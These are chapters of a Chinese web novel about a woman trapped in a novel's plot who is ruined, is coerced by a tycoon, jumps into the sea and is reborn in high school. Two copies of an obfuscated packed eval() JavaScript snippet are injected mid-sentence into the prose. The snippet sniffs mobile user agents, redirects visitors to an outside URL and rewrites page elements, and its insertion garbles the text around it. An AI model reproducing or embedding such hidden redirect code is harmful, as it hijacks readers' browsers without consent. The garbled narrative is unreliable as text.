《舔狗女配在诱骗死对头玩物丧志》 1. 泼酒 “哥,我会救你出来的。” 冰冷肃静的见面室,一个瘦脱相的男人双手扣着一副银环,他眼球微突,面容瘦减,眼神死寂,唯有安静的密闭空间里响起一道声音时,才迟缓地转动眼珠。 救他……这条烂命有什么值得救的必要呢? 男人自嘲地想,低声垂头,像在阴暗角落里发烂的尸体。 “不用了。” “哥……” 池浔紧攥指尖,心又被撕裂,她看着坐在对面剃着寸头形销骨立的男人,面容她很熟悉,却又陌生。 这还是她那位臭屁爱耍帅的大明星表哥吗? 为什么,为什么会变成这样。 以聚众银乱的罪名被押上警车,因为有所谓的目击证人,罪名几乎板上钉钉。 所有营销号都在疯狂地转发实锤的负面信息。 就连她哥的亲妈,她的姑姑,也相信了他哥误入歧途,气愤情绪激动之下,病情加重离世了。 只有池浔知道他的清白。 因为这是既定的轨迹,由剧情控制,其中的角色没有一个人能够逃脱设定。 可是池浔不愿意接受这样的结局安排,没有谁会愿意自己的亲人落得这样下场。 男人道:“你以后别再来了,你申请到了Y国的留学资格,就拿着积蓄出国,知道没有。” 池浔避开目光不语。 男人叹了口气,目光像温柔包容的水,深深地将眼前人的样子印在眼里,“糯糯,听话,自己一个人,也要好好生活。” 池浔最后还是败在了男人眸里藏着的担忧恐慌里。 她答应不再想着报仇,而是远离纷争,好好地活着,过自己的日子。 探视的时间到了,警察走进来,要将男人带走。 男人目光不舍,流连在她身上。 这是他的妹妹啊……外面发生了那么多糟糕的事,就剩下妹妹一人独自在外面面对豺狼虎豹。 她才刚过二十四岁,身边的亲人一个个出事,就剩她孤立无援。 明明上次见面,他还摸着她头笑说“好好上班,就给她带G省的伴手礼”。 再见面,他一身脏污如墨水再也难洗得干净,甚至还连累了公司……还有妈妈。 眼底划过一丝深刻的痛楚。 “糯糯!要好好吃饭啊……” 他情绪复杂难辨、隐匿掉痛苦绝望,只留给了池浔此生最后一句话。 J省最近几天天气不算很好,虽然无雨少风,却阴沉沉的,整座城市像是笼罩在了阴霾黑暗之中。 池浔从警察局出来,便打了车,迅速地赶往J省港口。 她坐在车里,便疼痛难忍地闭着眼,太阳穴一阵阵地疼,像是在不停地预警。 也像这个世界给她的警告。 池浔原本不是这个世界的人,她穿书而来,成为了和她同名同姓的H省百年豪门池家大小姐。 她刚穿过来时仅仅只是个刚出生的婴儿,全然不知自己接下来会被剧情控制走完残忍可怕的一生。 在上初二之前,她过了两辈子以来最幸福的阶段,有疼爱她的亲人,有肆意学习生长的广阔平台。 但后来,随着和自己长大的竹马傅赫扬态度突然陡转冷淡厌恶,她一步步变得偏执、恶毒、无脑,不再像自己,成为了剧本里的舔狗女配。 池浔开始逃学,放弃功课,想追随竹马去野鸡大学,结果说“放弃学业”的竹马突然拿到了重点大学录取通知书。 之后步入职场,池浔将自己的公司利益让步于竹马的一切需求。 最后,家族内部出现内鬼,与竹马的家族,她家的世交里应外合,她家公司破产。 她的爸妈也意外车祸离世。 随后,表妹被前男友推下十五楼,成了植物人。 一个月后,在G省有公演舞台的明星表哥被抓到聚众银乱,罪名近乎板上钉钉。 消息传来的第二天,重病疗养的姑姑哮喘发作,当即抢救无效死亡。 而因为这些事情,外婆家的名声也受到牵连,降职被调查的亲戚很多,无奈发了断绝关系的声明。 这些事情接连发生在短短几个月以内,池浔成为了唯一一个目前安然无恙的池家人。 她将自己未被冻结的私产、个人品牌项目变卖,凑出钱给表哥疏通关系。 但是收效甚微。 池浔忍不住去找了傅赫扬,她想着,好歹是一起长大的情分,如今他名利皆收,帮她救一下表哥,她可以少记恨他一点。 但她没想到,自己会被剧情控制,说出脑残至极的话。 大意就是安慰傅赫扬这位毫发无损的男主,说“让我家破产不是你的错,你不要愧疚,成王败寇,是我们家自己出了内鬼。” 池浔人都要炸了。 傅赫扬本人都觉得惊诧,还真有如此舔狗,态度更是高高在上。 而池浔没忍住,照常借着“死皮赖脸要贴上去”的动作,悄悄使力,将傅赫扬直接绊倒了额头磕到桌角。 可是这点额头伤,哪能抵得过她的亲人为剧情牺牲的性命? 池浔恨得牙痒痒,甚至有过和傅赫扬这个男主同归于尽。 但救出表哥才是大事,只有她相信表哥是清白的,她若死了谁来救? 没和剧本里男女主等主要角色碰面,她就比较自由地驱使自己的意识。 变卖自己财产和项目的会谈里,她趁机问了对方,便得知今天下午有一场商业游轮宴会。 业内有一位刑事犯罪方向的杰出律师,人称“金口厉言”,也在受邀名单里。 她想请对方能够为她表哥进行辩护。 她隐隐感受到了,剧情对她的控制越来越弱,在之前,家族的破产、傅家的趁火打劫、爸妈的离世,她什么都做不了。 可是她有预感,或许表哥的事情,还有些转机。 所以就算这场是鸿门宴,她也必须去。 “女士,请出示您的邀请函。” 走到轮船阶梯口,就被服务生给伸手拦住了。 “没有邀请函,是曹欣雅邀请我过来的。” 池浔说道。 曹欣雅,是书中舔狗女配的狗腿之一,但实际上深爱男主,今天的宴会就是曹家举办的。 “曹小姐邀请的……噢,原来是你啊。”服务生语气轻慢,瞅了她一眼,便摆手,“那你先站一边吧,我忙完再带你进去。” 他实际上还没等池浔反应,便落下她,热情地朝其他抵达的客人迎了上去。 游轮出入口设有智能化门禁,唯有电子邀请函或服务生才有开放权限。 很显然,池浔两种都没有。 她只能等待。 一会儿,服务生领着客人走过来。 “傅哥,这不是你那位舔狗吗?” “哟,还真是她。” 客人恰好是池浔认识的。 那一伙人穿着礼服西装,其中有道身影被众星捧月,他穿着手工定制西装,矜傲地微扬下巴,意气风发,似听到同伴说的话,他斜睨看过来。 一眼看见了她的身影,她很好认,毕竟出现在这里的人,无疑都穿着昂贵熨帖工整的礼服,而唯独她,穿着一身堪称朴素的运动服。 身边的同伴看到昔日高傲夺目的大小姐如今变得如此落魄,跃跃欲试想上前,“傅哥,这舔狗追你真紧,都追到这来了,我帮你将人打发走……” 傅赫扬眸底划过一丝情绪,不耐烦地道,“要迟到了,赶紧走。” 他率先往游轮走去,与站在旁边的池浔擦肩而过,侧脸冷漠硬挺,额角鬓发虚掩下有道一厘米的伤口。 池浔垂下眼,在外人看来,她如同丧家之犬般,萧瑟凄凉的身影在港口海风中摇摇欲坠。 为首的人都已离开,其他人也顾不上去找麻烦,赶紧跟上去,当中有一穿着蓝色裙子的女人眼里划过一丝不甘。 池浔搓了搓手臂,等服务生终于想起她来时,她已经在寒冷海风中等待了将近一个小时。 “进去吧。” 服务生的态度不好,像是经过了某些特别的吩咐。 池浔压下心中不快,快速登上游轮。 游轮巨大,宴会厅设在了二层,大门已经紧紧闭合,隐隐听见里面传来的钢琴演奏与交谈声,服务生让她从侧门进去。 池浔没想到自己一推开门,就被酒泼了一脸。 她下意识地将脸往旁一侧,酒溅到眼睛里引发一阵难言的刺痛,猩红的酒液滴滴往下垂落,划过脸颊、浸湿衣领,最后部分沿着衣角滴落,隐没在红色地毯上。 白色运动服转瞬就被染上一大片红褐色,像干净无暇的画作被污泥屈辱破坏。 下一秒,她就被人强行压住肩膀,下巴受迫扬起,“池大小姐,你还真敢来啊,傅哥如今 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这位男主大人往上攀登时随意踩在脚下的尸骨可都是她的亲人啊。 作为孤儿的她心心念念盼来的有血缘关系的亲人…… “舔了傅哥这么多年,你以前拿家世逼了他那么多次,有没有想过如今落魄的样子?” 身边的嘲讽将池浔拉回了心神。 “曹欣雅,你邀请我来的,就是想让我看到这一幕?” 池浔收敛了刚才一闪而过的脆弱,神色可以说是平静得略显淡漠,“你今天这么对我,傅赫扬知道吗?” “傅哥知道不知道又怎样,难不成你还指望着傅哥会护着你……”曹欣雅对上她淡定自若的模样,话渐渐变小声了。 池浔嗤笑:“我家破产了,可是你要知道,傅赫扬如果对我没感情,就不会允许我出现在他面前。” 曹欣雅脸色顿时难看。 “放手。” 池浔冷声。 抓着她肩膀的服务生没等自家小姐吩咐,听到那声冷意,下意识地松了手。 池浔拧了拧自己的手腕,下一刻,一巴掌直接甩了过去。 “啊!” 曹欣雅捂着被扇肿的脸,怒不可遏,嫉妒又怨恨地盯着池浔,下意识地抬手想打回来。 “你敢动我,傅赫扬会不高兴的。” 池浔只噙着莫名的笑意,眼神却浸冷。 傅哥…哪怕是他再讨厌的东西,也不会愿意别人染指他的东西。 曹欣雅深知,所以还真只能眼睁睁地看着池浔离开了。 她邀请池浔过来,可不是让自己被打的。 池浔,你给我等着! 女人眼里浸出一抹阴毒的狠意。 池浔路过洗手间,便打算进去整理一下,想着别太狼狈地出现在律师面前,给人印象不好,就更不愿意答应帮忙了。 洗手台镜子里,映着一道狼狈的身影。 浑身上下都是浓郁的酒味,显得有些难闻。 池浔脸色难看地扯了扯唇,盯着镜中的自己。 片刻,洗了把脸。 衣服上红酒的痕迹没法洗掉。 洗手间门口突然传来动静,她只来得及看到一道拉长的黑色影子。 池浔警惕地走过去,却只看到了一个纸袋子,挂在门把手上,晃晃悠悠。 她朝外张望了一圈,无人。 打开纸袋,里面居然是一件黑色西装外套。 有些宽大,是男款的,这件外套的设计有点眼熟,像是出自某位H省设计大师之手,喜欢这个牌子的,她认识的人当中,傅赫扬是一个。 会是他吗? 从洗手间出来,她在走廊拐角处险些与一人相撞,对方似乎倾身靠近,朝她伸手过来。 池浔不动声色地迅速往后躲避,看着来人。 一个身宽体胖的富商,白腻的肉脂堆积在脸颊、脖颈、腰腹,对方笑眯眯地打了声招呼,“池侄女。” “你是?” 池浔露出不解之色。 富商笑得温和:“我和你爸是同学啊,不知道还记不记得哦,从港城来的,你家里的事我听说了,唉……” 他深深叹气,“世事无常啊,池侄女节哀。” “听说你在找吴律师,想为你表哥辩护,我刚巧碰到他了,我带你过去?” 2. 跳海 池浔用尽最快的速度,进行奔逃。 身后,是穷追不舍的富商和他的保镖们,像是烦人的苍蝇野兽。 “死胖子,跑得还挺快。” 池浔感受到自己肺部的氧气在迅速耗尽,呼吸渐渐沉重,不行,自己再这样跑下去,也躲不开身后的人,迟早会被追上。 她跑到了甲板上,游轮缓慢行驶在海面上,大海辽阔无际,天空却阴沉沉的,乌云遮住了西斜的太阳。 跑到了栏杆边上,她转身亮出一把水果刀,喝道:“别过来!” 富商后怕地往后退了一步,其余的保镖们呈包抄的队形将年轻女人给围堵住。 “池侄女,你这是干什么,当我情人不好吗?我带你港城吃香喝辣的,你好好伺候我,珠宝首饰包包你随便买啊。”富商眯着眼,不虞地说道。 池浔“呸”了一声,“死胖子,你瞅瞅你长什么样,癞蛤蟆都比你有自知之明。” 富商脸色变得糟糕起来,何纪雄不是说他侄女性格高冷吗,怎么一副泼辣蛮横的模样。 “池侄女,你敬酒不吃,偏要吃罚酒,不妨告诉你,你的好姑父已经将你送给我了,就算你今天不愿意,明天,也会被绑到老子床上,乖乖张开腿任我X。” 富商语气和蔼,但句句猖狂,混浊的眼珠里浸淫着欲望。 “何纪雄?” 池浔眼里近乎喷出火来,她恨得牙痒痒,她的好姑父还真是心狠手辣,将自己的亲儿子送到监狱,害死了老婆和老婆的哥嫂一家,就剩下她和植物人表妹两个女生。 如今,果真开始对她下手了。 所以,结局还是没法改变吗? 原书里也写着,她这个恶毒女配的结局,因为落魄,自甘堕落成为富商情人,然后在有一次床上时被生生打死了。 但她向来不认命! 池浔搜罗了自己脑海里谁能来救她。 傅赫扬…… 她苦笑了下,无法否认,如今只有傅赫扬的权势,才能够让面前这位从港城过来的富商退让。 脑海里其实还闪过一个名字,但她知道,依照两人的关系,他不会来救她的。 傅赫扬,她穿的这本书男主,性格桀骜难驯,与她青梅竹马。 二十年的感情,不至于眼睁睁看着她这样被逼迫成情人吧。 而且,这些年来,她有尝试摆脱剧情,已经尽可能地减少了阻碍他和自己的真命天女之间的感情发展。 而她给他当了这么多年的舔狗,可以说是任劳任怨,鞠躬尽瘁,他能那么顺利地打败私生子女,成为傅氏的继承人,她有很大助力。 再讨厌她,他是既得利益者,总不能如此冷漠无情。 池浔为了活下去找姑父和仇人报仇,只能忍下对傅赫扬的厌恶,打电话过去。 电话响铃了好久,久到池浔觉得对方不会接,才终于接通了。 “什么事?”男人的声音冷漠。 池浔攥紧指尖:“傅赫扬,有个猪头要逼我做他情人,你帮我个忙,我可以……” “不帮。” 电话被挂断了。 见此,富商大肆嘲笑,更加肆无忌惮,叙说恶心的贪婪。 “池侄女,看来傅总也不在意你了,乖乖地过来吧宝贝,认命吧,池大小姐……” 他一边说,一边带着保镖们缓缓上前,脸上带着从容邪恶的得意。 池浔握着水果刀的手指发白,她看着逐渐围困过来的人,眸底惊慌。 慌乱间,意外地看到游轮二层的露天休息处坐着一个人。 是他。 池浔来不及意外,富商肥腻的手已经伸过来,像条恶心的蛇滑过她的肩。 她打了个激灵,水果刀直接往对方划去,但没两下就被保镖给夺走。 “贱人!” 富商险些被划伤,恼怒地抬手扇了她一巴掌。 肥壮男人的力气很大,掌风像利刃,重重地落在她脸上,脸颊瞬间就高高肿起。 她往后退,紧紧地贴着栏杆,不甘又带着恨意的眼神盯着富商。 “你会后悔的!” 富商显然以此为荣,并没有将她的警告听进耳里,“后悔什么?你难不成还指望你牢里的哥救你?” 池浔像是厌恶似的撇开目光,实则她的视线遥遥地投注到不远处的二层。 她眼神乞求,心想救救我吧,以后再也不跟你做死对头,针对你了。 心中无数次的希求,期待,盼望,她不想死……哥哥还在等她救他,妹妹也还躺在医院里,爸妈和姑姑的尸骨未寒,而造成这一切的罪魁祸首还逍遥法外。 还有傅家那阴狗的落井下石。 傅赫扬这狗币男主,翻脸不认人。 脑海里的情绪汹涌,她多么希望自己能够绝处逢生。 似乎与死对头的冰寒眼神对望,对方似乎又没注意到她,她心里不停地乞求,不出面来救她也没关系,只要拿起手机报个警,或者把其他人喊过来就好…… 可是她又一次失败了。 对方无动于衷,高大的身影,只着单薄衬衣,漠然注视着这边的方向。 像是隔绝世界的无情神明。 “可别想了,你哥自杀了,这世上,不会有人再帮你了。” 富商的话猝不及防如针扎,将池浔钉在原地。 她终于明白自己进入了死局,老天爷设定好的结局,任谁都摆脱不了。 就像表哥,他还是按照原书既定的命运,全网黑,被抓,自杀而亡。 谁都逃脱不了。 包括她。 所以,让她穿书一遭,就是好不容易拥有真心疼爱自己的家人,拥有在事业里闯荡的底气,然后又只能眼睁睁地看着自己遇到男主就变成舔狗,将自己的家族和家人推上死路。 老天爷,你为什么对我这么残忍? 看着面如死寂的貌美女人,富商搓了搓手,嘿嘿一笑,摆了摆手让保镖们往后退,而自己则是张开双臂,肥硕的身影朝女人挪去。 “池侄女,你就别挣扎了,你哥死了,你妹妹还躺在医院里呢,给老子亲你一口,就送你妹妹去国外治疗,听说最近有新疗法,你妹说不定还能醒来。” “不可能了……” 池浔喃喃道,眼神晦涩不清。 富商没听清,“池侄女说什么?” 池浔偏头看了一眼辽阔的大海,木然的神情,像是已经彻底认命,也没有了刚才任何反抗的尖刺。 富商得意一笑,摧心断骨的消息,那人送得还真及时,还真顺利地驯服了这位冰清玉洁的池大小姐。 “小宝贝,让老子亲亲……” 他顶着一张大如盆的脸,撅起菊花般的嘴,急不可耐地朝池浔扑过来。 变故就在此刻发生。 池浔神情陡然变化,袖中扯出一支钢笔,迅速且狠厉地插入到对方的眼中。 “啊啊啊!!” 富商发出惨叫的猪吼。 保镖们迅速冲上来。 而池浔早在动手的下一刻,折身撑跳,翻越船杆,以一种果决无畏的速度,跳下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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傅赫扬用深重的吻将对方吻得娇软无力,才终于说出来,“你是不是真的喜欢池小姐,她与你一起长大,还长那么漂亮……” “谁喜欢她!”傅赫扬厌恶地说道。 而也是这一通文化,让傅赫扬醍醐灌顶。 是啊,他又不喜欢池浔,为什么发怒?死了就死了,最多因为青梅竹马一场,帮对方好好照顾她那植物人妹妹,料理一下后事。 反正造成这一切的,又不是他。 他应该高兴才对,从今以后,摆脱掉了池浔这个甩都甩不掉的恶心舔狗。 “池小姐她之前逼你转学到她老家让你受她牵制,如今,她也尝到了被逼迫的滋味,还真是恶人自有天收啊,就是可惜她才二十多岁……” 女生神情复杂,叹了口气。 “小呆子你愁什么,那种恶毒的人,死了就死了。” …… “池浔家世优渥,生性恶毒,因疯狂痴恋傅赫扬,校园时期恶意针对傅赫扬身边的所有女孩子,用权势压迫,又像条护主的恶狗,谁惹傅赫扬不快,便逮谁咬谁。 而步入职场后,池浔更为嚣张,傅赫扬苦不堪言。终于,池氏恶霸一家终有惨局,而池浔这位恶毒青梅,也坠海身亡,恶人自有天收。” ——《喂,乖乖女,你跑什么》书录角色评议 3. 重生 一片黑暗中,遥遥传来呼唤。 “浔姐,浔姐。” “浔姐,傅哥他们已经要打完比赛了,我们得抓紧时间把水送过去,不然他要生气了……” 水、…… 池浔感觉到胸腔和肺部的氧气在迅速耗尽,腥咸的海水一股一股地涌进她的喉咙鼻腔,疯狂挤压着她的心脏,她难受地挣扎。 但是整个人却又仿佛有什么水鬼缠紧她的腿、手、脖颈,让她连同灵魂整个人一直往下深坠。 池浔力竭,但当她想跟随水鬼就这么陷入到深海黑暗中,她的脑海里闪过亲人的一张张脸,或笑或温柔,最后定格在冰冷的讯问室里兄长叮嘱她好好活着的临终遗言。 他们离开前,最放不下的,就是她。 而她做了什么? 变卖自己仅剩的财产和积蓄,被逼到窘境时跳了海,就想着一了百了。 池浔突然感觉到身上好像有什么限制她的无形锁链断裂开了。 一道刺眼的光芒笼罩住她。 长椅上的年轻女孩猛然睁开眼坐起,她大口大口喘息,疯狂地咳嗽,眼角溢出生理性泪水。 “哎哟,浔姐你吓我一跳。” 身旁的声音让池浔下意识循声看去,这一看过去,就彻底呆住了。 面前站着两位穿着蓝白校服的年轻女生,面容青涩却又很熟悉…… “曹欣雅?” 池浔脱口而出,而很快,她就反应过来不对劲,她看向四周。 这不是曹欣雅,或者说这不是二十四岁的曹欣雅……反倒像是年少的她。 葱郁掩映的红白建筑,墙面上写着“立德树人”几个大字,校道上三两结伴而行,皆是穿着宽大的蓝白校服的少男少女,背着书包抱着书的。 熟悉的校服,带着特定地理风貌的种满椰林常绿乔木的校园环境,这一切种种无不在向池浔宣告,这里是六年前的天骄中学。 她高中的母校。 “浔姐,怎么突然这么正式地叫我名,你不会是中暑懵了吧。” 年轻好几岁的曹欣雅此刻一脸疑惑,拿手挡着刺耳的阳光,她看着池浔露出茫然看向四周的表情,心里不耐烦,但却笑盈盈地道。 她似乎也没打算等池浔说什么,就接连催促,“既然浔姐你醒了,我们赶快去小卖部把水买了吧。” 甚至没等回话,她就径直地站起身,转身往一旁的小卖部走,背影透着迫不及待,直接将人抛下先走了。 池浔眼神幽深,注视着曹欣雅的背影。 她眼眸里划过嘲讽,上辈子的她被剧情控制,就像刻意“眼瞎”一般,完全没发现曹欣雅这个女配的狗腿兼小姐妹,实际上对她没多少真情实意。 而上一世,曹欣雅主办的宴会里,她被那肥腻富商围堵在甲板时,一路都看不到半个服务生,究竟被谁清场了,不言而喻。 而曹欣雅在剧本里扮演的角色,前期是恶毒女配的狗腿姐妹,为恶毒女配做尽各种坏事。 后期则是成为恶毒绿茶,明面上以合作伙伴兼好友的身份和傅赫扬打交道,实际上背地里为男女主的感情添了超多阻力。 当然,后期的剧情,池浔没亲眼见证,她已经死无全尸了,知晓此事,是靠自己当初对这小说剧本的潦草粗读留下的记忆。 总的来说,如果说池浔这个恶毒青梅女配做的坏事天下皆知,属于那种“人嫌狗憎”的终极舔狗。 那么曹欣雅就是城府极深的、隐藏爱意、偷偷下毒手的绿茶反派。 上辈子,碍于剧情强行降智,她只能忽视不管曹欣雅做坏事却往她身上泼脏水,或故意诱使她做恶心事。 但这一世,没了剧情限制,她倒要看看,曹欣雅能作什么妖。 “……阿浔姐,你没事吧?” 一道慢吞吞的声音突然在她身边响起。 池浔看过去时,眼里的冷意还没消散,直接吓到了对方一个颤抖打嗝,抱头躲避,声音发抖,“我错了!别打我!” 她微怔,面前的女生长相微胖,齐刘海近乎遮住眉眼,整个人微缩起来,像团大只圆滚滚的熊猫动物。 “南南。”池浔情不自禁地念出对方的名字,鼻尖微酸。 这是在上辈子剧情控制时,她唯一交到的一位真心待她的朋友。 但可惜,她后来被家里人关着,她们在高中毕业后,就没再见了。 而在池浔一无所有时,深夜里银行卡转进来一笔陌生转账和一条笨拙安慰她的短信。 她将自己攒了多年的想要学跳舞的钱,全都转给了池浔。 像是很久没察觉到她下一步动作,南南像一只小动物似的,从手臂里悄悄地露出一只眼睛,观察她的神色,表情忐忑。 池浔明白,南南因为小时候生过病,现在反应会比较迟钝,而她作为恶毒女配的狗腿,相比于曹欣雅做事会更慢,所以不讨剧情控制下的池浔喜欢。 甚至,有时候池浔会因为傅赫扬这位男主的拒绝,生气发火,会拿南南出气。 池浔手撑着长椅,准备站起来。 她结合刚才曹欣雅的话,已经反应过来,自己这是重生回到高三从J省转学回H省这一年。 而今天,是傅赫扬在考完一次月考后,和他的兄弟们组局,与看不顺眼的别班同学一起打篮球赛。 她这位舔狗青梅,自然是眼巴巴地倒贴上去,自告奋勇要给请客买饮料,而在途中,得知傅赫扬这队虽然赢了比赛,他却没得到个人MVP,心里不爽。 就在曹欣雅的“好心”建议下,将小卖部所有饮料矿泉水直接买下,直接让另一队的同学没水喝。 这举动纯纯就是恶心人,让人不痛快。 高强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179680|196960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度的运动过后,不能及时补充水分,让人渴到爆炸,要么走十分钟回到教学楼打水,要么走十分钟出校门买水。 上辈子池浔就是这么做了,明明主意是曹欣雅出的,为给傅赫扬出气,结果最后傅赫扬却大手一挥“请客让对方那伙人喝水”,直接化干戈为玉帛。 而池浔呢,舔狗舔到无下限的名声愈发壮大。 也让她的形象在其他同学看来变得非常没品无赖,更加没人愿意靠近她。 买空小卖部所有饮料都钱还是她出的。 简直就是纯纯冤大头。 “浔姐,我已经和老板说了,小卖部的饮料矿泉水我们都买下,他会派两个员工帮我们搬水到篮球场,而剩余的饮料也不会出售给任何人。” 曹欣雅重新出现,站在小卖部门口,扬声道,整个人都落在阳光照不到的阴影处。 她手里同时还拿着根冰淇淋在吃。 “好。” 池浔应声。 南南着急地张唇想说什么,但是却在触及身旁高挑身影的侧脸时,一时愣住。 阿浔一直长得很漂亮,而且是带着攻击性的姝丽美艳,就如同其张扬强势的性格一样。 但是阿浔除了面对傅赫扬这个心上人以外,其余时间就像失去灵魂的木偶,冰冷僵硬,仿佛没有人的情绪。 现在这副神情,冰冷的侧脸此刻却反倒勾出一抹似笑非笑的笑意,深不可测。 好像有哪里不一样了。 因此,南南并没有出声阻拦欣雅拉着阿浔又做这种吃力不讨好的举动。 回去的路上,日头正盛。 曹欣雅不耐地用手遮脸,“喂,赶紧把伞打开呀。” 微胖女生慢半拍地“哦”了一声,从书包里掏出一把伞,打开,然后将走在前面的池浔身影遮得严严实实。 曹欣雅:“……” 死胖子!她是想让她遮池浔吗?! 但是池浔是池家的,曹欣雅总不能让这胖子过来给她打伞而不给池浔遮阳吧。 她忍了忍脾气,迎着假笑凑到池浔身边挽住对方手臂,声音粘糊,“浔姐,阿浔,等一会儿你帮傅哥找回场子,他出了气,一定会多喜欢你一点的……我帮了你那么大忙,有没有什么奖励呀?诶,你手腕上这条月亮手链还挺好看。” 一边说话间,她们也在逐渐靠近篮球场。 池浔目视前方,已经隐约能够看到室外篮球场上站着两拨人,颇有种剑拔弩张的气氛。 让她来加一把火吧。 手臂突然被拉住,池浔蹙了下眉,听到她的“讨要奖赏”,甚至不等她说同意,她手腕上的手链就已经开始有了拉扯感。 曹欣雅自顾自地打算自己摘下那条价值十几万的手链。 她心里一边冷哼,嫉妒地想,这手链真好看,她带起来会更好看吧。 4. 第 4 章 池浔突然将手抽了出来。 手链镶着细钻,贴着曹欣雅的手掌心猛地抽离,传来划伤的刺痛。 曹欣雅认识池浔有一个月了,看起来高傲精明实则是个蠢货。 故除了意外对方躲避之外,更多是恼怒,池浔这蠢货怎么能忤逆她? “浔姐?” 被笼罩在太阳伞阴影下的女生没回应她,却抬起手腕,垂眸解开了自己的手链。 这是要自己摘下? 曹欣雅见此,忽然想起来池浔有个大小姐病,洁癖严重,不喜与人接触。 但在她看来,池浔就是性格古怪,曹欣雅会在某些时候故意凑过去,以此欣赏对方烦躁不舒服的表情,来平息自己心里的嫉妒。 曹欣雅心里想着,面上却装作未知,笑嘻嘻地伸手就要抢夺过来,“浔姐,我自己来就好啊……” 池浔没应她,只是在她嬉笑的神情上停顿一瞬,眼里划过不为人知的嘲弄。 “南南,”池浔冷淡笃定的语调,却不是在叫她,而手链也随之被塞到了微胖女生的校服口袋里,“奖励。” 曹欣雅,“……?池浔!” 南南也一瞬间呆呆地啊了一声。 池浔看了过来,那眼神让曹欣雅情不自禁地打了个寒颤。 她长得美艳,身骨优越,肤白细腻如雪山狐狸,眉眼隐匿在阴影里,仿若闪烁着幽幽的危险光色,不知何时爆裂燃烧。 “你有意见?” 明明是艳阳天,曹欣雅却在对上她的目光时,心里的怒怨就这么突兀地凝滞了,整个人像被扼住喉咙般。 是她的错觉吗……池浔这蠢货好像不一样了,似乎已经知晓她心里的打算了? 但没等曹欣雅产生怀疑,就见到池浔收回目光,便抬脚朝有人的篮球场地走去。 步子似乎有些轻快,颇具迫不及待。 看池浔恨不得插上翅膀立马飞到篮球场里,恋爱脑舔狗的模样与往常并无二致,曹欣雅的惧怕消退。 应当是她感觉错了。 篮球场内,两方对峙,正有冲突即将爆发。 “服不服,傅老狗?” 一个头发微卷的男生眼神挑衅,朝对面做了个大拇指朝下的动作。 “服个屁!” 对面有人爆了粗口,言:“秦魏,你嚣张什么,又不是你拿MVP,轮得到你在这里挑衅傅哥?” 微卷头发的男生就叫秦魏,他从比赛结果出来后就一脸嘚瑟,“略略,咋地,我是没拿到,但自诩全校篮球霸王的某人也没拿到啊啧啧,是谁说轻轻松松虐死我的,比分36和37,说实话,小爷我真没感受到什么虐待啊!” 事实如此,今天这场比赛,虽然他这边队伍以一分之差惜败,但是个人MVP却在他的队员身上。 傅老狗当初叫嚣着要给他好看,如今只像个小丑,看吧,人都不敢出声嚣张了。 爽!太爽了! “秦魏,你别太嚣张……” “就嚣张,咋滴?” 两方队员激烈地吵了起来,脸红脖子粗,剑拔弩张的气息中,只有两个人仿佛远离纷争。 “行了。”直到一位穿着写有数字18的红色队服的男生开口说了话,即将失控的场面才稍微控制住。 男生长相优越,面容英挺,气息却桀骜不驯,浑身矜贵,在一众身高马大的男生里面极其出色,仿佛和别人天生有壁。 “秦魏,就算这局你请了外援,我承认他实力不错,但不代表你赢了我。” “噢是嘛,可是你没拿到MVP欸~~”秦魏歪头摊手,看似无奈,实际上阴阳怪气直接拉满。 傅赫扬黑沉的眸里划过冷意,“你就算一直针对我,你喜欢的人也不会看你一眼。” 他说的是事实,这让秦魏原本得意的脸色,瞬间就变得难看起来。 傅赫扬身边的男生闻言,就像是突然被提醒了一件事,他立刻乘胜追击,戏谑嘲讽道: “对哦,秦魏我都忘记了,你这么喜欢在傅哥面前找存在感,是为了傅哥的那位舔狗啊……舔狗的舔狗是什么……可惜,人家只舔傅哥一个人,你啊,再蹦哒也是小丑!” 他话落,身边的人就嘻嘻哈哈地笑了起来,嘲弄的笑容划过无情的针刺狠狠地扎进秦魏的心里。 男生说完,恰好看到走进来了一拨人,尤其是走在最前面的那位女生,面容冷艳,面无表情地走过来。 他更是露出一副看好戏的表情,“哟,舔狗来了,秦魏,你说池大小姐要是知道你欺负傅哥,她会不会和你翻脸呢?” 此话一出,秦魏表情一变,神情划过一丝心虚和慌乱,忙转头看向门口方向,想着解释。 阿浔从来不允许他欺负傅赫扬的。 所有人都在等待着池浔走过来。 而这短暂一分钟内,傅赫扬身边的好友语气笃定地说道:“傅哥,等着看好戏吧,看池舔狗怎么帮你教训秦魏那臭小子。” 傅赫扬周身泛着冷意,像是不屑地颔首,在所有人都注视着前来的那人时,唯独他稍微撇开眼,态度高傲又淡漠。 他的好友早在对方靠近时,就不耐烦地扬声道:“喂,怎么来得这么慢!” 池浔站定,眼神平淡地注视着不客气嚷嚷的男生。 南南尽职尽责地撑着伞。 因此,众人有点恍惚,这池大小姐不开口说话时,身上的气质真的很符合他们对有钱人家培养出来的千金的认知,高冷疏离,和傅赫扬的气质还有点相似。 男生的话没有得到回应,他眸底划过阴霾,看到旁边紧盯这边欲言又止的秦魏,突然说道,“池大小姐,你耳聋了还是眼瞎了,水送到了,还不赶紧亲自给傅哥送水!” 而像是发现了池浔的反应滞缓,没达到他想要的效果,傅赫扬蹙眉,这才吝啬地睇了个眼神,言简意赅,“过来。” 池浔还是没动,只是用一种打量的眼神凝在她的竹马身上,就如同是好久未见而想要细细观察长相细节,也像是恶魔将掌中的猎物形状一点点篆刻在记忆里。 被剧情宠爱的男主啊,终于又见面了。 